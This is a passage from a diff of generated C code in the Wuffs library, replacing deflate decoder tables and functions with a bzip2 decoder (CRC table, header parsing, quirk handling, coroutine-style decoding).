WUFFS_BASE__POTENTIALLY_UNUSED = { +- 16, 17, 18, 0, 8, 7, 9, 6, +- 10, 5, 11, 4, 12, 3, 13, 2, +- 14, 1, 15, +-}; +- +-static const uint8_t +-WUFFS_DEFLATE__REVERSE8[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 128, 64, 192, 32, 160, 96, 224, +- 16, 144, 80, 208, 48, 176, 112, 240, +- 8, 136, 72, 200, 40, 168, 104, 232, +- 24, 152, 88, 216, 56, 184, 120, 248, +- 4, 132, 68, 196, 36, 164, 100, 228, +- 20, 148, 84, 212, 52, 180, 116, 244, +- 12, 140, 76, 204, 44, 172, 108, 236, +- 28, 156, 92, 220, 60, 188, 124, 252, +- 2, 130, 66, 194, 34, 162, 98, 226, +- 18, 146, 82, 210, 50, 178, 114, 242, +- 10, 138, 74, 202, 42, 170, 106, 234, +- 26, 154, 90, 218, 58, 186, 122, 250, +- 6, 134, 70, 198, 38, 166, 102, 230, +- 22, 150, 86, 214, 54, 182, 118, 246, +- 14, 142, 78, 206, 46, 174, 110, 238, +- 30, 158, 94, 222, 62, 190, 126, 254, +- 1, 129, 65, 193, 33, 161, 97, 225, +- 17, 145, 81, 209, 49, 177, 113, 241, +- 9, 137, 73, 201, 41, 169, 105, 233, +- 25, 153, 89, 217, 57, 185, 121, 249, +- 5, 133, 69, 197, 37, 165, 101, 229, +- 21, 149, 85, 213, 53, 181, 117, 245, +- 13, 141, 77, 205, 45, 173, 109, 237, +- 29, 157, 93, 221, 61, 189, 125, 253, +- 3, 131, 67, 195, 35, 163, 99, 227, +- 19, 147, 83, 211, 51, 179, 115, 243, +- 11, 139, 75, 203, 43, 171, 107, 235, +- 27, 155, 91, 219, 59, 187, 123, 251, +- 7, 135, 71, 199, 39, 167, 103, 231, +- 23, 151, 87, 215, 55, 183, 119, 247, +- 15, 143, 79, 207, 47, 175, 111, 239, +- 31, 159, 95, 223, 63, 191, 127, 255, +-}; +- +-static const uint32_t +-WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1073741824, 1073742080, 1073742336, 1073742592, 1073742848, 1073743104, 1073743360, 1073743616, +- 1073743888, 1073744400, 1073744912, 1073745424, 1073745952, 1073746976, 1073748000, 1073749024, +- 1073750064, 1073752112, 1073754160, 1073756208, 1073758272, 1073762368, 1073766464, 1073770560, +- 1073774672, 1073782864, 1073791056, 1073799248, 1073807104, 134217728, 134217728, 134217728, ++WUFFS_BZIP2__CLAMP_TO_5[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 1u, 2u, 3u, 4u, 5u, 5u, 5u, + }; + + static const uint32_t +-WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1073741824, 1073742080, 1073742336, 1073742592, 1073742864, 1073743376, 1073743904, 1073744928, +- 1073745968, 1073748016, 1073750080, 1073754176, 1073758288, 1073766480, 1073774688, 1073791072, +- 1073807472, 1073840240, 1073873024, 1073938560, 1074004112, 1074135184, 1074266272, 1074528416, +- 1074790576, 1075314864, 1075839168, 1076887744, 1077936336, 1080033488, 134217728, 134217728, ++WUFFS_BZIP2__REV_CRC32_TABLE[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 79764919u, 159529838u, 222504665u, 319059676u, 398814059u, 445009330u, 507990021u, ++ 638119352u, 583659535u, 797628118u, 726387553u, 890018660u, 835552979u, 1015980042u, 944750013u, ++ 1276238704u, 1221641927u, 1167319070u, 1095957929u, 1595256236u, 1540665371u, 1452775106u, 1381403509u, ++ 1780037320u, 1859660671u, 1671105958u, 1733955601u, 2031960084u, 2111593891u, 1889500026u, 1952343757u, ++ 2552477408u, 2632100695u, 2443283854u, 2506133561u, 2334638140u, 2414271883u, 2191915858u, 2254759653u, ++ 3190512472u, 3135915759u, 3081330742u, 3009969537u, 2905550212u, 2850959411u, 2762807018u, 2691435357u, ++ 3560074640u, 3505614887u, 3719321342u, 3648080713u, 3342211916u, 3287746299u, 3467911202u, 3396681109u, ++ 4063920168u, 4143685023u, 4223187782u, 4286162673u, 3779000052u, 3858754371u, 3904687514u, 3967668269u, ++ 881225847u, 809987520u, 1023691545u, 969234094u, 662832811u, 591600412u, 771767749u, 717299826u, ++ 311336399u, 374308984u, 453813921u, 533576470u, 25881363u, 88864420u, 134795389u, 214552010u, ++ 2023205639u, 2086057648u, 1897238633u, 1976864222u, 1804852699u, 1867694188u, 1645340341u, 1724971778u, ++ 1587496639u, 1516133128u, 1461550545u, 1406951526u, 1302016099u, 1230646740u, 1142491917u, 1087903418u, ++ 2896545431u, 2825181984u, 2770861561u, 2716262478u, 3215044683u, 3143675388u, 3055782693u, 3001194130u, ++ 2326604591u, 2389456536u, 2200899649u, 2280525302u, 2578013683u, 2640855108u, 2418763421u, 2498394922u, ++ 3769900519u, 3832873040u, 3912640137u, 3992402750u, 4088425275u, 4151408268u, 4197601365u, 4277358050u, ++ 3334271071u, 3263032808u, 3476998961u, 3422541446u, 3585640067u, 3514407732u, 3694837229u, 3640369242u, ++ 1762451694u, 1842216281u, 1619975040u, 1682949687u, 2047383090u, 2127137669u, 1938468188u, 2001449195u, ++ 1325665622u, 1271206113u, 1183200824u, 1111960463u, 1543535498u, 1489069629u, 1434599652u, 1363369299u, ++ 622672798u, 568075817u, 748617968u, 677256519u, 907627842u, 853037301u, 1067152940u, 995781531u, ++ 51762726u, 131386257u, 177728840u, 240578815u, 269590778u, 349224269u, 429104020u, 491947555u, ++ 4046411278u, 4126034873u, 4172115296u, 4234965207u, 3794477266u, 3874110821u, 3953728444u, 4016571915u, ++ 3609705398u, 3555108353u, 3735388376u, 3664026991u, 3290680682u, 3236090077u, 3449943556u, 3378572211u, ++ 3174993278u, 3120533705u, 3032266256u, 2961025959u, 2923101090u, 2868635157u, 2813903052u, 2742672763u, ++ 2604032198u, 2683796849u, 2461293480u, 2524268063u, 2284983834u, 2364738477u, 2175806836u, 2238787779u, ++ 1569362073u, 1498123566u, 1409854455u, 1355396672u, 1317987909u, 1246755826u, 1192025387u, 1137557660u, ++ 2072149281u, 2135122070u, 1912620623u, 1992383480u, 1753615357u, 1816598090u, 1627664531u, 1707420964u, ++ 295390185u, 358241886u, 404320391u, 483945776u, 43990325u, 106832002u, 186451547u, 266083308u, ++ 932423249u, 861060070u, 1041341759u, 986742920u, 613929101u, 542559546u, 756411363u, 701822548u, ++ 3316196985u, 3244833742u, 3425377559u, 3370778784u, 3601682597u, 3530312978u, 3744426955u, 3689838204u, ++ 3819031489u, 3881883254u, 3928223919u, 4007849240u, 4037393693u, 4100235434u, 4180117107u, 4259748804u, ++ 2310601993u, 2373574846u, 2151335527u, 2231098320u, 2596047829u, 2659030626u, 2470359227u, 2550115596u, ++ 2947551409u, 2876312838u, 2788305887u, 2733848168u, 3165939309u, 3094707162u, 3040238851u, 2985771188u, + }; + +-#define WUFFS_DEFLATE__HUFFS_TABLE_SIZE 1024 +- +-#define WUFFS_DEFLATE__HUFFS_TABLE_MASK 1023 +- + // ---------------- Private Initializer Prototypes + + // ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__do_transform_io( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__do_transform_io( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_blocks( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__prepare_block( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_uncompressed( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__read_code_lengths( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__init_fixed_huffman( +- wuffs_deflate__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__init_dynamic_huffman( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_src); ++wuffs_bzip2__decoder__build_huffman_tree( ++ wuffs_bzip2__decoder* self, ++ uint32_t a_which); + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__init_huff( +- wuffs_deflate__decoder* self, +- uint32_t a_which, +- uint32_t a_n_codes0, +- uint32_t a_n_codes1, +- uint32_t a_base_symbol); ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__build_huffman_table( ++ wuffs_bzip2__decoder* self, ++ uint32_t a_which); + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_bmi2( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__invert_bwt( ++ wuffs_bzip2__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast32( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__flush_fast( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_dst); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast64( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++wuffs_bzip2__decoder__flush_slow( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_dst); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__decode_huffman_fast( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_slow( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__decode_huffman_slow( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src); + + // ---------------- VTables + + const wuffs_base__io_transformer__func_ptrs +-wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_bzip2__decoder__dst_history_retain_length), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_deflate__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_deflate__decoder__history_retain_length), ++ uint32_t))(&wuffs_bzip2__decoder__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_deflate__decoder__set_quirk), ++ uint64_t))(&wuffs_bzip2__decoder__set_quirk), + (wuffs_base__status(*)(void*, + wuffs_base__io_buffer*, + wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_deflate__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_deflate__decoder__workbuf_len), ++ wuffs_base__slice_u8))(&wuffs_bzip2__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bzip2__decoder__workbuf_len), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_deflate__decoder__initialize( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__initialize( ++ wuffs_bzip2__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -34263,25 +34215,23 @@ wuffs_deflate__decoder__initialize( + } + } + +- self->private_impl.choosy_decode_huffman_fast64 = &wuffs_deflate__decoder__decode_huffman_fast64__choosy_default; +- + self->private_impl.magic = WUFFS_BASE__MAGIC; + self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = + wuffs_base__io_transformer__vtable_name; + self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ (const void*)(&wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer); + return wuffs_base__make_status(NULL); + } + +-wuffs_deflate__decoder* +-wuffs_deflate__decoder__alloc(void) { +- wuffs_deflate__decoder* x = +- (wuffs_deflate__decoder*)(calloc(sizeof(wuffs_deflate__decoder), 1)); ++wuffs_bzip2__decoder* ++wuffs_bzip2__decoder__alloc(void) { ++ wuffs_bzip2__decoder* x = ++ (wuffs_bzip2__decoder*)(calloc(1, sizeof(wuffs_bzip2__decoder))); + if (!x) { + return NULL; + } +- if (wuffs_deflate__decoder__initialize( +- x, sizeof(wuffs_deflate__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_bzip2__decoder__initialize( ++ x, sizeof(wuffs_bzip2__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -34289,59 +34239,18 @@ wuffs_deflate__decoder__alloc(void) { + } + + size_t +-sizeof__wuffs_deflate__decoder(void) { +- return sizeof(wuffs_deflate__decoder); ++sizeof__wuffs_bzip2__decoder(void) { ++ return sizeof(wuffs_bzip2__decoder); + } + + // ---------------- Function Implementations + +-// -------- func deflate.decoder.add_history +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_deflate__decoder__add_history( +- wuffs_deflate__decoder* self, +- wuffs_base__slice_u8 a_hist) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); +- } +- +- wuffs_base__slice_u8 v_s = {0}; +- uint64_t v_n_copied = 0; +- uint32_t v_already_full = 0; +- +- v_s = a_hist; +- if (((uint64_t)(v_s.len)) >= 32768u) { +- v_s = wuffs_base__slice_u8__suffix(v_s, 32768u); +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); +- self->private_impl.f_history_index = 32768u; +- } else { +- v_n_copied = wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, (self->private_impl.f_history_index & 32767u), 32768), v_s); +- if (v_n_copied < ((uint64_t)(v_s.len))) { +- v_s = wuffs_base__slice_u8__subslice_i(v_s, v_n_copied); +- v_n_copied = wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); +- self->private_impl.f_history_index = (((uint32_t)((v_n_copied & 32767u))) + 32768u); +- } else { +- v_already_full = 0u; +- if (self->private_impl.f_history_index >= 32768u) { +- v_already_full = 32768u; +- } +- self->private_impl.f_history_index = ((self->private_impl.f_history_index & 32767u) + ((uint32_t)((v_n_copied & 32767u))) + v_already_full); +- } +- } +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, 32768, 33025), wuffs_base__make_slice_u8(self->private_data.f_history, 33025)); +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func deflate.decoder.get_quirk ++// -------- func bzip2.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_deflate__decoder__get_quirk( +- const wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__get_quirk( ++ const wuffs_bzip2__decoder* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -34351,15 +34260,18 @@ wuffs_deflate__decoder__get_quirk( + return 0; + } + ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } + return 0u; + } + +-// -------- func deflate.decoder.set_quirk ++// -------- func bzip2.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_deflate__decoder__set_quirk( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__set_quirk( ++ wuffs_bzip2__decoder* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -34372,32 +34284,36 @@ wuffs_deflate__decoder__set_quirk( + : wuffs_base__error__initialize_not_called); + } + ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func deflate.decoder.history_retain_length ++// -------- func bzip2.decoder.dst_history_retain_length + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_deflate__decoder__history_retain_length( +- const wuffs_deflate__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_bzip2__decoder__dst_history_retain_length( ++ const wuffs_bzip2__decoder* self) { + if (!self) { +- return 0; ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } + if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && + (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ return wuffs_base__utility__make_optional_u63(false, 0u); + } + +- return 0u; ++ return wuffs_base__utility__make_optional_u63(true, 0u); + } + +-// -------- func deflate.decoder.workbuf_len ++// -------- func bzip2.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_deflate__decoder__workbuf_len( +- const wuffs_deflate__decoder* self) { ++wuffs_bzip2__decoder__workbuf_len( ++ const wuffs_bzip2__decoder* self) { + if (!self) { + return wuffs_base__utility__empty_range_ii_u64(); + } +@@ -34406,15 +34322,15 @@ wuffs_deflate__decoder__workbuf_len( + return wuffs_base__utility__empty_range_ii_u64(); + } + +- return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); + } + +-// -------- func deflate.decoder.transform_io ++// -------- func bzip2.decoder.transform_io + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_deflate__decoder__transform_io( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__transform_io( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf) { +@@ -34441,17 +34357,17 @@ wuffs_deflate__decoder__transform_io( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_deflate__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ wuffs_base__status t_0 = wuffs_bzip2__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_deflate__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_bzip2__error__truncated_input); + goto exit; + } + status = v_status; +@@ -34459,13 +34375,13 @@ wuffs_deflate__decoder__transform_io( + } + + ok: +- self->private_impl.p_transform_io[0] = 0; ++ self->private_impl.p_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; +@@ -34476,103 +34392,22 @@ wuffs_deflate__decoder__transform_io( + return status; + } + +-// -------- func deflate.decoder.do_transform_io ++// -------- func bzip2.decoder.do_transform_io + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__do_transform_io( +- wuffs_deflate__decoder* self, ++wuffs_bzip2__decoder__do_transform_io( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint64_t v_mark = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } +- +- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- self->private_impl.choosy_decode_huffman_fast64 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_bmi2() ? &wuffs_deflate__decoder__decode_huffman_bmi2 : +-#endif +- self->private_impl.choosy_decode_huffman_fast64); +- while (true) { +- v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- wuffs_base__status t_0 = wuffs_deflate__decoder__decode_blocks(self, a_dst, a_src); +- v_status = t_0; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- } +- if ( ! wuffs_base__status__is_suspension(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_transformed_history_count, wuffs_base__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)))); +- wuffs_deflate__decoder__add_history(self, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } +- +- ok: +- self->private_impl.p_do_transform_io[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func deflate.decoder.decode_blocks +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_blocks( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_final = 0; +- uint32_t v_b0 = 0; +- uint32_t v_type = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_i = 0; ++ uint64_t v_tag = 0; + wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_final_checksum_want = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -34585,125 +34420,206 @@ wuffs_deflate__decoder__decode_blocks( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_blocks[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; + if (coro_susp_point) { +- v_final = self->private_data.s_decode_blocks[0].v_final; ++ v_i = self->private_data.s_do_transform_io.v_i; ++ v_tag = self->private_data.s_do_transform_io.v_tag; ++ v_final_checksum_want = self->private_data.s_do_transform_io.v_final_checksum_want; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- label__outer__continue:; +- while (v_final == 0u) { +- while (self->private_impl.f_n_bits < 3u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 66u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_c8 != 90u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_c8 != 104u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if ((v_c8 < 49u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_max_incl_block_size = (((uint32_t)(((uint8_t)(v_c8 - 48u)))) * 100000u); ++ while (true) { ++ v_tag = 0u; ++ v_i = 0u; ++ while (v_i < 48u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; + } +- uint32_t t_0 = *iop_a_src++; +- v_b0 = t_0; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- self->private_impl.f_bits |= (v_b0 << (self->private_impl.f_n_bits & 3u)); +- self->private_impl.f_n_bits = ((self->private_impl.f_n_bits & 3u) + 8u); ++ v_tag <<= 1u; ++ v_tag |= ((uint64_t)((self->private_impl.f_bits >> 31u))); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; + } +- v_final = (self->private_impl.f_bits & 1u); +- v_type = ((self->private_impl.f_bits >> 1u) & 3u); +- self->private_impl.f_bits >>= 3u; +- self->private_impl.f_n_bits -= 3u; +- if (v_type == 0u) { ++ if (v_tag == 25779555029136u) { ++ break; ++ } else if (v_tag != 54156738319193u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_bzip2__decoder__prepare_block(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_block_size = 0u; ++ self->private_impl.f_decode_huffman_finished = false; ++ self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[((uint8_t)(self->private_data.f_huffman_selectors[0u] & 7u))]; ++ self->private_impl.f_decode_huffman_ticks = 50u; ++ self->private_impl.f_decode_huffman_section = 0u; ++ self->private_impl.f_decode_huffman_run_shift = 0u; ++ while ( ! self->private_impl.f_decode_huffman_finished) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_deflate__decoder__decode_uncompressed(self, a_dst, a_src); ++ v_status = wuffs_bzip2__decoder__decode_huffman_fast(self, 